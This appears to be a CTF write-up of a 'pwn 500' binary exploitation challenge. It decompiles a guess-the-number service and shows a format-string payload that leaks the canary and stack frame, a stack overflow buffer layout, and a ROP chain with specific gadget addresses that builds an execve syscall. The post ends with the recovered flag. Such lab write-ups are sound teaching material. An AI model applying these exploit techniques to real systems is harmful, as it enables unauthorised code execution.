Skip to content Skip to navigation

Explicit (pwn 500)

Category: 

The task was to find vulnerability in binary service explicit (binary and exploit). Like other tasks at this CTF, this one was easy enouth.

After downloading file and opening it in IDA I'd found that it's x86 ELF which has no imported functions. Unfortunately Hex-Rays FLIRT didn't help me that time, but x86 decompiler works fine and few minutes was enouth to reconstruct main function and identify high level apis. Result I've got is the next:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax@1
  char *v4; // edx@8
  int v5; // ecx@12
  int result; // eax@12
  int v7; // [sp+4h] [bp-114h]@1
  char *v8; // [sp+8h] [bp-110h]@3
  char v9[256]; // [sp+Ch] [bp-10Ch]@2
  int canary; // [sp+10Ch] [bp-Ch]@1

  canary = *MK_FP(__GS__, 20);
  fwrite("Welcome to Guess The Number Online!\n\n", 1u, 37, hFile);
  v3 = get_system_time_0(0);
  srand(v3);
  v7 = rand() % 20;
  while ( 1 )
  {
    fwrite("Pick a number between 0 and 20: ", 1u, 32, hFile);
    fflush(hFile);
    if ( !recv_to_buffer(v9, 1024, hFile) )
      break;
    v8 = sub_805C210(v9, 10);
    if ( v8 )
      *v8 = 0;
    if ( v9[0] == 'q' )
      break;
    if ( to_int(v9) == v7 )
    {
      fwrite("You win! Congratulations!\n\n", 1u, 27, hFile);
      fflush(hFile);
      break;
    }
    fwrite("Your number is ", 1u, 15, hFile);
    fprintf(hFile, v9);
    if ( to_int(v9) <= v7 )
      v4 = "low";
    else
      v4 = "high";
    fprintf(hFile, " which is too %s.\n", v4);
    fflush(hFile);
  }
  fwrite("Bye\n", 1u, 4, hFile);
  fflush(hFile);
  result = *MK_FP(__GS__, 20) ^ canary;
  if ( *MK_FP(__GS__, 20) != canary )
    sub_80610A0(v5);
  return result;
};

As we can see there is an obvious stack overflow and format string vulnerabilities. Using format string vulnerability we can determine canary's value. Then we can overflow stack, overwrite canary by the same value and successfully reach retn instruction with modified return address.

First try to execute shellcode on the stack (just in case it's executable). For this we need:

  1. get canary value via sending string "%70$08X";
  2. get upper function stack frame (ebp) via sending string "%73$08X";
  3. using upper function stack frame calculate shellcode address;
  4. trigger stack overflow via sending buffer
    "A"*256+pack("<I",canary)+"A"*12+pack("<I",ptr_to_shellcode)+shellcode

Unfortunatelly this attempt failed... this means that stack is nonexecutable and because there is no RWE section in binary, we should use ROP.

Another bad news: there is no function "system" among high level api, built in the binary. So only 2 ways remains. The earsiest one is to find function "mprotect", use it to make stack executable and run any shellcode. More complicated one is to build full ROP chain to put needed data somewhere in memory and use it to make sys_execve syscall.

I'd selected the second way.

To find apropriate ROP gadget I'd used Jonathan Salwan's tool, named ROPgadget (official url: http://shell-storm.org/project/ROPgadget/). The only restricted byte is '\n' e.i. 0x0A, so just set option '--badbytes "0A"'.

$ ./ROPgadget.py --binary ~/explicit  --badbytes "0a"

As write-what-where ROP chaine I'd selected next one:

p += pack('<I', 0x08083fc6) # pop edx ; ret
p += pack('<I', dst_addr)   #  where
p += pack('<I', 0x080CED61) # pop eax ; ret
p += pack('<I', data)       #  what
p += pack('<I', 0x0808a73d) # mov dword ptr [edx], eax ; ret

To save my data I'd used .data section (it stast from address 0x080D50C0), because it has RW permitions.

To execute sys_execve we have to imitate execution of next assemply code:

xor edx, edx
mov ebx, pArg0
mov ecx, pArgs
mov eax,11
int 0x80

The only problem was to set ecx to desired value. The best ROP gadget was

0x080CF077 # pop ecx ; or cl, byte ptr [esi] ; or al, 0x43 ; ret

So we have to set to esi address, which points to 0x0 byte value. One of the possible ways is the next:

p += pack('<I', 0x080499f5) # pop esi ; ret
p += pack('<I', 0x080d50c0+0x74) # any addr such that byte ptr [addr] = 0x0
p += pack('<I', 0x080CF077) # pop ecx ; or cl, byte ptr [esi] ; or al, 0x43 ; ret
p += pack('<I', 0x080d50c0+0x60) # ptr to ArgsArray

And to the end for rop chain I put:

p += pack("<I", 0x08049924) # jmp $

It cases infinite loop and help me to determine that my ROP chain has been executed successsfully.

Now we can execute written python script and get the flag "NcN_97740ead1060892a253be8ca33c6364a712b21d2".

Final python script can be found here.

Attachments: